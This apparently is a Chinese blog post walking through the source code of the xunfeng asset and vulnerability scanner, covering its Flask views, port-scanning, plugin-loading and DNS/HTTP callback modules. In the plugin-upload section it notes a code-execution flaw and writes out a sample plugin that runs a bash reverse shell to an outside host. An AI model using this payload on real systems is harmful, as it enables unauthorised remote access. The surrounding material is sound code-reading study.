python2.7-巡風源碼閱讀

時間 2019-11-11

原文原文鏈接

推薦個腳本示例網站：https://www.programcreek.com/python/example/404/thread.start_new_thread，裏面能夠搜索函數在代碼中的寫法，只有部分函數。html

github地址：https://github.com/ysrc/xunfeng 根據官網給出的安裝方法安裝，而後啓動run.shpython

#!/bin/bash
sudo mongod --port 65521 --dbpath /opt/xunfeng/db/ &
CURRENT_PATH=`dirname $0`
cd $CURRENT_PATH

XUNFENG_LOG=/var/log/xunfeng
XUNFENG_DB=/var/lib/mongodb

[ ! -d $XUNFENG_LOG ] && mkdir -p ${XUNFENG_LOG}
[ ! -d $XUNFENG_DB ] && mkdir -p ${XUNFENG_DB}

nohup mongod --port 65521 --dbpath=${XUNFENG_DB} --auth  > ${XUNFENG_LOG}/db.log &
nohup /usr/local/bin/python2.7.11 ./Run.py > ${XUNFENG_LOG}/web.log &
nohup /usr/local/bin/python2.7.11 ./aider/Aider.py > ${XUNFENG_LOG}/aider.log &
nohup /usr/local/bin/python2.7.11 ./nascan/NAScan.py > ${XUNFENG_LOG}/scan.log &
nohup /usr/local/bin/python2.7.11 ./vulscan/VulScan.py > ${XUNFENG_LOG}/vul.log &

　　設置mongodb的日誌文件，地址。先來閱讀下4個python代碼。git

1)Run.pygithub

2)Aider.pyweb

3)NAScan.pymongodb

4)VulScan.py數據庫

1.從run.py開始讀json

from views.View import app

if __name__ == '__main__':
    #app.debug = True
    app.run(threaded=True, port=80,host='0.0.0.0')

去./views/view.py 查看代碼。flask

#/views/view.py　
from flask import request, render_template, redirect, url_for, session, make_response

看到這句，應該是用flask來寫的。往下繼續看代碼，centos

#/views/view.py

# 刪除全部
@app.route('/deleteall', methods=['post'])
@logincheck
@anticsrf
def Deleteall():
    Mongo.coll['Task'].remove({})
    return 'success'

有兩個裝飾器函數@anticsrf和@logincheck

看到@logincheck裝飾器函數。位於 ./views/lib/Login.py

#/views/lib/Login.py
def logincheck(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        try:
            if session.has_key('login'):
                if session['login'] == 'loginsuccess':
                    return f(*args, **kwargs)
                else:
                    return redirect(url_for('Login'))
            else:
                return redirect(url_for('Login'))
        except Exception, e:
            print e
            return redirect(url_for('Error'))

    return wrapper

上面這個裝飾器大概功能是這樣的，判斷會話字典中是否有login的會話，若是login的值爲loginsuccess，就能執行/views/view.py下的函數，若是不存在那就定向到Login函數，這個裝飾器是登陸是否判斷的函數。

還有一個anticsrf函數

#./views/lib/AntiCSRF.py
# 檢查referer
def anticsrf(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        try:
            if request.referrer and request.referrer.replace('http://', '').split('/')[0] == request.host:
                return f(*args, **kwargs)
            else:
                return redirect(url_for('NotFound'))
        except Exception, e:
            print e
            return redirect(url_for('Error'))

    return wrapper

判斷是否有referer和把referer值的http://替換成空，而後用"/"進行分割成數組，取第一個數組和host進行判斷，若是不一樣就返回NotFound函數。

#/views/view.py　
# 刪除全部
@app.route('/deleteall', methods=['post'])
@logincheck
@anticsrf
def Deleteall():
    Mongo.coll['Task'].remove({})
    return 'success'

接着看到Deleteall()函數，鏈接Mongo對象

from . import app, Mongo, page_size, file_path

從__init__.py對象中取函數，後面的大概就是mongodb的鏈接過程，先略過。

從功能看函數。

#/views/view.py

@app.route('/updateconfig', methods=['get', 'post'])
@logincheck
@anticsrf
def UpdateConfig():
    rsp = 'fail'
    name = request.form.get('name', 'default')
    value = request.form.get('value', '')
    conftype = request.form.get('conftype', '')
    if name and value and conftype:
        if name == 'Masscan' or name == 'Port_list':
            origin_value = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"][name]["value"]
            value = origin_value.split('|')[0] + '|' + value
        elif name == 'Port_list_Flag':
            name = 'Port_list'
            origin_value = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"]['Port_list']["value"]
            value = value + '|' + origin_value.split('|')[1]
        elif name == 'Masscan_Flag':
            name = 'Masscan'
            path = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"]["Masscan"]["value"]
            if len(path.split('|')) == 3:
                path = path.split('|')[1] + "|" + path.split('|')[2]
            else:
                path = path.split('|')[1]
            if value == '1':
                value = '1|' + path
            else:
                value = '0|' + path
        result = Mongo.coll['Config'].update({"type": conftype}, {'$set': {'config.' + name + '.value': value}})
        if result:
            rsp = 'success'
    return rsp

request.form.get('name', 'default') 從get中取name參數的值，默認是default。

        if name == 'Masscan' or name == 'Port_list':
            origin_value = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"][name]["value"]
            value = origin_value.split('|')[0] + '|' + value
　　　　　...#省略

　　　　　result = Mongo.coll['Config'].update({"type": conftype}, {'$set': {'config.' + name + '.value': value}})

若是name等於Masscan或者Port_list，就從mongodb去取值，而後把post數據中的value加上去，最後在update上去。

其中有個內容是"網絡資產探測列表(必填)",提交的name值不在上面的if判斷中，直接update。

post參數：name=Scan_list&value=127.0.0.40-127.0.0.100&conftype=nascan

提交的時候有提示說，修改會馬上觸發資產掃描收集，估計是有代碼在監控，根據post的參數和一開始運行的四個python腳本，估計是nascan.py

先來解析下nascan.py這個腳本。

先來代碼：

        #/nascan/NAScan.py
        CONFIG_INI = get_config()  # 讀取配置,讀取mongodb裏面的數據，位於Config表下的內容
        log.write('info', None, 0, u'獲取配置成功')
        STATISTICS = get_statistics()  # 讀取統計信息,返回一個日期
        MASSCAN_AC = [0]
        NACHANGE = [0]
        thread.start_new_thread(monitor, (CONFIG_INI,STATISTICS,NACHANGE))  # 心跳線程
        thread.start_new_thread(cruise, (STATISTICS,MASSCAN_AC))  # 失效ip:port記錄刪除線程
        socket.setdefaulttimeout(int(CONFIG_INI['Timeout']) / 2)  # 設置鏈接超時
        ac_data = []
        while True:
            now_time = time.localtime()
            now_hour = now_time.tm_hour
            now_day = now_time.tm_mday
            now_date = str(now_time.tm_year) + str(now_time.tm_mon) + str(now_day)
            cy_day, ac_hour = CONFIG_INI['Cycle'].split('|')#資產探測週期
            log.write('info', None, 0, u'掃描規則: ' + str(CONFIG_INI['Cycle']))
            if (now_hour == int(ac_hour) and now_day % int(cy_day) == 0 and now_date not in ac_data) or NACHANGE[0]:  # 判斷是否進入掃描時段
                ac_data.append(now_date)
                NACHANGE[0] = 0
                log.write('info', None, 0, u'開始掃描')
                s = start(CONFIG_INI)
                s.masscan_ac = MASSCAN_AC
                s.statistics = STATISTICS
                s.run()
            time.sleep(60)

先是get_config()函數，讀取配置。

#/nascan/lib/common.py
def get_config():
    config = {}
    config_info = mongo.na_db.Config.find_one({"type": "nascan"})
    for name in config_info['config']:
        if name in ['Discern_cms', 'Discern_con', 'Discern_lang', 'Discern_server']:
            config[name] = format_config(name, config_info['config'][name]['value'])#分割處理
        else:
            config[name] = config_info['config'][name]['value']#直接添加
    return config

MASSCAN_AC NACHANGE 這兩個變量MASSCAN_AC是系統是否支持masscan的掃描，NACHANGE是用來監控如今的掃描列表和開始的列表有沒有變化,若是有變化將NACHANGE[0]改爲NACHANGE[1]。接着

        thread.start_new_thread(monitor, (CONFIG_INI,STATISTICS,NACHANGE))  # 心跳線程

　　　　　thread.start_new_thread(cruise, (STATISTICS,MASSCAN_AC))  # 失效ip:port記錄刪除線程
　　　　　socket.setdefaulttimeout(int(CONFIG_INI['Timeout']) / 2)  # 設置鏈接超時

進入monitor函數，這個是檢測心跳線程的函數。

def monitor(CONFIG_INI, STATISTICS, NACHANGE):
    while True:
        try:
            time_ = datetime.datetime.now()
            date_ = time_.strftime('%Y-%m-%d')
            mongo.na_db.Heartbeat.update({"name": "heartbeat"}, {"$set": {"up_time": time_}})
            if date_ not in STATISTICS: STATISTICS[date_] = {"add": 0, "update": 0, "delete": 0}
            mongo.na_db.Statistics.update({"date": date_}, {"$set": {"info": STATISTICS[date_]}}, upsert=True)
            new_config = get_config() #再次調用get_config, 好像能直接new_config=CONFIG_INI  不知道會不會有問題?應該不會,可是這個是用來監控先後的Scan_list的變化,因此不能改
            if base64.b64encode(CONFIG_INI["Scan_list"]) != base64.b64encode(new_config["Scan_list"]):NACHANGE[0] = 1 # 判斷如今的掃描列表和開始的列表有沒有變化,若是有變化將NACHANGE[0]改爲NACHANGE[1] !  若是要改爲python3,這裏須要改
            CONFIG_INI.clear()
            CONFIG_INI.update(new_config)#更新成新的new_config,而後睡眠30秒
        except Exception, e:
            print e
        time.sleep(30)

學習到了python if和for語句單行表達的風格：

for i in range(3): print("+1s"); print("+2s")
if len("excited") > 0: print("big news!"); print("+1s")

接着看cruise()函數，記錄失效ip:port並刪除線程

def cruise(STATISTICS,MASSCAN_AC):
    while True:
        now_str = datetime.datetime.now()
        week = int(now_str.weekday())
        hour = int(now_str.hour)
        if week >= 1 and week <= 5 and hour >= 9 and hour <= 18:  # 非工做時間不刪除
            try:
                data = mongo.NA_INFO.find().sort("time", 1)
                for history_info in data:
                    while True:
                        if MASSCAN_AC[0]:  # 若是masscan正在掃描即不進行清理
                            time.sleep(10)
                        else:
                            break
                    ip = history_info['ip']
                    port = history_info['port']
                    try:
                        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        sock.connect((ip, int(port)))
                        sock.close()
                    except Exception as e:
                        time_ = datetime.datetime.now()
                        date_ = time_.strftime('%Y-%m-%d')
                        #對ip:port 進行sock鏈接,若是鏈接不上就刪除INFO裏面ip和port
                        mongo.NA_INFO.remove({"ip": ip, "port": port})
                        log.write('info', None, 0, '%s:%s delete' % (ip, port))
                        STATISTICS[date_]['delete'] += 1
                        del history_info["_id"]
                        history_info['del_time'] = time_
                        history_info['type'] = 'delete'
                        #而後把數據插入到HISTORY表中
                        mongo.NA_HISTORY.insert(history_info)
            except:
                pass
        time.sleep(3600)

接着往下看

                #/nascan/NAScan.py
                s = start(CONFIG_INI)
                s.masscan_ac = MASSCAN_AC
                s.statistics = STATISTICS
                s.run()

進入start()類來到/nascan/lib/start.py,直接看s.run()函數

    #/nascan/lib/start.py
    def run(self):
        global AC_PORT_LIST
        all_ip_list = []
        for ip in self.scan_list:
            if "/" in ip: ip = cidr.CIDR(ip)
            if not ip:continue
            ip_list = self.get_ip_list(ip)
            if self.mode == 1:#判斷maascan是否開啓
                self.masscan_path = self.config_ini['Masscan'].split('|')[2]
                self.masscan_rate = self.config_ini['Masscan'].split('|')[1]
                ip_list = self.get_ac_ip(ip_list)
                self.masscan_ac[0] = 1
                AC_PORT_LIST = self.masscan(ip_list)  # 若是安裝了Masscan即便用Masscan進行全端口掃描
                if not AC_PORT_LIST: continue
                self.masscan_ac[0] = 0
                for ip_str in AC_PORT_LIST.keys(): self.queue.put(ip_str)  # 將掃描到的ip加入隊列
                self.scan_start()  # 開始掃描
            else:
                all_ip_list.extend(ip_list)
        if self.mode == 0:
            if self.icmp: all_ip_list = self.get_ac_ip(all_ip_list)
            for ip_str in all_ip_list: self.queue.put(ip_str)  # 加入隊列
            self.scan_start()  # TCP探測模式開始掃描

其中if "/" in ip: ip = cidr.CIDR(ip) ，支持的格式是 127.0.0.1/24

接着 if self.mode == 1: #判斷maascan是否開啓，若是沒有開啓，將ip添加到all_ip_list這個列表中，若是開啓了，就調用masscan進行全端口掃描。

在調用masscan掃描以前，調用了get_ac_ip()函數，get_ac_ip()進行icmp掃描存活ip，將存活的ip再進行masscan掃描。

看到masscan()函數

    def masscan(self, ip):
        try:
            if len(ip) == 0: return
            #取目錄下的/plugin/masscan.py ,而後調用masscan進行掃描,再將結果返回
            sys.path.append(sys.path[0] + "/plugin")
            m_scan = __import__("masscan")
            result = m_scan.run(ip, self.masscan_path, self.masscan_rate)
            return result
        except Exception, e:
            print e
            print 'No masscan plugin detected'

masscan -p1-65535 -iL target.log -oL tmp.log --randomize-hosts --rate=20000

用masscan掃描完保存成tmp.log 而後讀取完解析結果。

若是沒開masscan，那就進行TCP探測模式掃描

#/nascan/lib/scan.py
class scan:
    def __init__(self, task_host, port_list):
        self.ip = task_host
        self.port_list = port_list
        self.config_ini = {}

    def run(self):
        self.timeout = int(self.config_ini['Timeout'])
        for _port in self.port_list:
            self.server = ''
            self.banner = ''
            self.port = int(_port)
            self.scan_port()  # 端口掃描
            if not self.banner:continue
            self.server_discern()  # 服務識別
            if self.server == '':
                web_info = self.try_web()  # 嘗試web訪問
                if web_info:
                    log.write('web', self.ip, self.port, web_info)
                    time_ = datetime.datetime.now()
                    mongo.NA_INFO.update({'ip': self.ip, 'port': self.port},
                                         {"$set": {'banner': self.banner, 'server': 'web', 'webinfo': web_info,
                                                   'time': time_}})

利用sock去鏈接端口，而後讀取banner，在對banner進行識別，若是端口是80，443，8080的，則發包去識別web服務。

大概每隔一分鐘探測是否要進行掃描，以上就是NAScan.py的做用。

再回到View.py 這個文件下。

@app.route('/analysis')
@logincheck
def Analysis():
    ...
    return render_template('analysis.html', ip=ip, record=record, task=task, vul=vul, plugin=plugin, vultype=vultype,
                           trend=sorted(trend, key=lambda x: x['time']), taskpercent=taskpercent, taskalive=taskalive,
                           scanalive=scanalive, server_type=server_type, web_type=web_type)

加載template：analysis.html ，利用raphael來建立svg矢量圖。raphael好像很好用，記錄一下。官網：http://dmitrybaranovskiy.github.io/raphael/

看到添加插件這裏的代碼，好像有漏洞。

# 新增插件異步
@app.route('/addplugin', methods=['get', 'post'])
@logincheck
@anticsrf
def AddPlugin():
    result = 'fail'
    f = request.files['file']
    isupload = request.form.get('isupload', 'false')
    file_name = ''
    if f:
        fname = secure_filename(f.filename)#處理文件名
        if fname.split('.')[-1] == 'py':
            path = file_path + fname
            if os.path.exists(file_path + fname):
                fname = fname.split('.')[0] + '_' + str(datetime.now().second) + '.py'
                path = file_path + fname
            f.save(path)
            if os.path.exists(path):
                file_name = fname.split('.')[0]
                module = __import__(file_name)
                mark_json = module.get_plugin_info()
                mark_json['filename'] = file_name
                mark_json['add_time'] = datetime.now()
                mark_json['count'] = 0
                if 'source' not in mark_json:
                    mark_json['source'] = 0
                insert_result = Mongo.coll['Plugin'].insert(mark_json)
                if insert_result:
                    result = 'success'
                    file_name = file_name +'.py'

重點看下面這三句話

file_name = fname.split('.')[0]

module = __import__(file_name)

mark_json = module.get_plugin_info()

上傳以後的文件名用.進行分割，而後import文件，而後直接執行get_plugin_info() 函數，若是插件是下面這樣的就造成了命令執行。

def get_plugin_info():
    import os;
    os.system("bash -i >& /dev/tcp/ip/55444 0>&1");

讀完View.py,換成vulscan.py讀一下。看看執行步驟。

    init()#先判斷數據庫中的插件數量,若是小於1那就讀取vuldb下的文件,讀取他們的詳情get_plugin_info()
    PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config()#讀取mongodb數據庫Config表下type=vulscan的的各個值,有弱口令字典,超時時間,線程數,白名單ip
    thread.start_new_thread(monitor, ())
    while True:
        task_id, task_plan, task_target, task_plugin = queue_get()#獲取task表的數據
        if task_id == '':
            time.sleep(10)
            continue
        if PLUGIN_DB:
            del sys.modules[PLUGIN_DB.keys()[0]] # 清理插件緩存,Python中全部加載到內存的模塊都放在sys.modules
            PLUGIN_DB.clear()
        for task_netloc in task_target:
            while True:
                if int(thread._count()) < THREAD_COUNT:
                    if task_netloc[0] in WHITE_LIST: break#若是task_netloc的ip在ip白名單裏
                    thread.start_new_thread(vulscan, (task_id, task_netloc, task_plugin))
                    break
                else:
                    time.sleep(2)
        if task_plan == 0: na_task.update({"_id": task_id}, {"$set": {"status": 2}})

從這句開始講，thread.start_new_thread(vulscan, (task_id, task_netloc, task_plugin))

調用vulscan()的類，而後__init__本身調用start()函數

    def start(self):
        self.get_plugin_info()
        if '.json' in self.plugin_info['filename']:  # 標示符檢測模式,用json寫的exp
            try:
                self.load_json_plugin()  # 讀取漏洞標示
                self.set_request()  # 標示符轉換爲請求
                self.poc_check()  # 檢測
            except Exception, e:
                return
        else:  # 腳本檢測模式
            plugin_filename = self.plugin_info['filename']
            self.log(str(self.task_netloc) + "call " + self.task_plugin)
            if task_plugin not in PLUGIN_DB:
                plugin_res = __import__(plugin_filename)
                setattr(plugin_res, "PASSWORD_DIC", PASSWORD_DIC)  # 給插件聲明密碼字典
                PLUGIN_DB[plugin_filename] = plugin_res
            try:
                self.result_info = PLUGIN_DB[plugin_filename].check(str(self.task_netloc[0]), int(self.task_netloc[1]),
                                                                    TIMEOUT)
            except:
                return
        self.save_request()  # 保存結果

他檢測兩種模式，一種是.json寫的，經過self.plugin_info['filename'] 來判斷，在mongodb中是這樣的，

                self.load_json_plugin()  # 讀取漏洞標示
                self.set_request()  # 標示符轉換爲請求
                self.poc_check()  # 檢測

讀取/vulscan/vuldb/*.json 下的json文件內容，將plugin讀取出來。

    def poc_check(self):
        ......
        ......
        an_type = self.plugin_info['plugin']['analyzing']
        vul_tag = self.plugin_info['plugin']['tag']
        analyzingdata = self.plugin_info['plugin']['analyzingdata']
        if an_type == 'keyword':#關鍵字匹配
            # print poc['analyzingdata'].encode("utf-8")
            if analyzingdata.encode("utf-8") in res_html: self.result_info = vul_tag#若是analyzingdata的數據在html中
        elif an_type == 'regex':#正則匹配
            if re.search(analyzingdata, res_html, re.I): self.result_info = vul_tag
        elif an_type == 'md5':#md5匹配
            md5 = hashlib.md5()
            md5.update(res_html)
            if md5.hexdigest() == analyzingdata: self.result_info = vul_tag

先去請求url，獲取返回的頁面內容，經過三種模式匹配，->(關鍵字匹配，正則匹配，md5匹配)

第二種就是腳本檢測模式，

            plugin_filename = self.plugin_info['filename']
            self.log(str(self.task_netloc) + "call " + self.task_plugin)
            if task_plugin not in PLUGIN_DB:#若是PLUGIN_DB裏沒有task_plugin
                plugin_res = __import__(plugin_filename)#導入plugin_filename的腳本,參考http://www.cnblogs.com/MaggieXiang/archive/2013/06/05/3118156.html
                setattr(plugin_res, "PASSWORD_DIC", PASSWORD_DIC)  # 給插件聲明密碼字典 ,給對象的屬性賦值，若屬性不存在，先建立再賦值。
                PLUGIN_DB[plugin_filename] = plugin_res
            try:
                self.result_info = PLUGIN_DB[plugin_filename].check(str(self.task_netloc[0]), int(self.task_netloc[1]),
                                                                    TIMEOUT)#調用腳本中的check(),傳進去的是host和port,超時時間
            except:
                return

導入vuldb下的腳本，而後執行check()函數，傳入host port timeout。將結果保存到了self.result_info，而後調用self.save_request()函數整理最後的結果。

最後的一個腳本：Aider.py 他綁定了53和8088端口。

這個腳本比較有意思。

ps:若是是用centos搭建，記得關閉防火牆，默認開啓，否則dns沒法收到遠程傳來的信息。關閉方法：http://www.cnblogs.com/zhangzhibin/p/6231870.html

剝離開53和8088的腳本。

下面是單獨可用的腳本。

# coding:utf-8
import socket,thread,datetime,time

dns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dns.bind(('0.0.0.0', 53))while True:
    try:
        time.sleep(1)
        recv, addr = dns.recvfrom(1024)print datetime.datetime.now().strftime('%m-%d %H:%M:%S') + " " + str(addr[0]) + ' Dns Query: ' + recv
    except Exception, e:
        print e
        continue

在Aider.py中多了一句判斷，將請求添加到query_history數組中。

if recv not in query_history:query_history.append(recv)

在來看看8088端口的用法

def web_server():
    web = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    web.bind(('0.0.0.0',8088))
    web.listen(10)
    while True:
        try:
            conn,addr = web.accept()
            data = conn.recv(4096)
            req_line = data.split("\r\n")[0]
            path = req_line.split()[1]
            route_list = path.split('/')
            html = "NO"
            if len(route_list) == 3:
                if route_list[1] == 'add':
                    if route_list[2] not in url_history:
                        url_history.append(route_list[2])
                elif route_list[1] == 'check':
                    if route_list[2] in url_history:
                        url_history.remove(route_list[2])
                        html = 'YES'
            else:
                query_str = route_list[1]
                for query_raw in query_history:
                    if query_str in query_raw:
                        query_history.remove(query_raw)
                        html = "YES"
            print datetime.datetime.now().strftime('%m-%d %H:%M:%S') + " " + str(addr[0]) +' web query: ' + path
            raw = "HTTP/1.0 200 OK\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s" %(len(html),html)
            conn.send(raw)
            conn.close()
        except:
            pass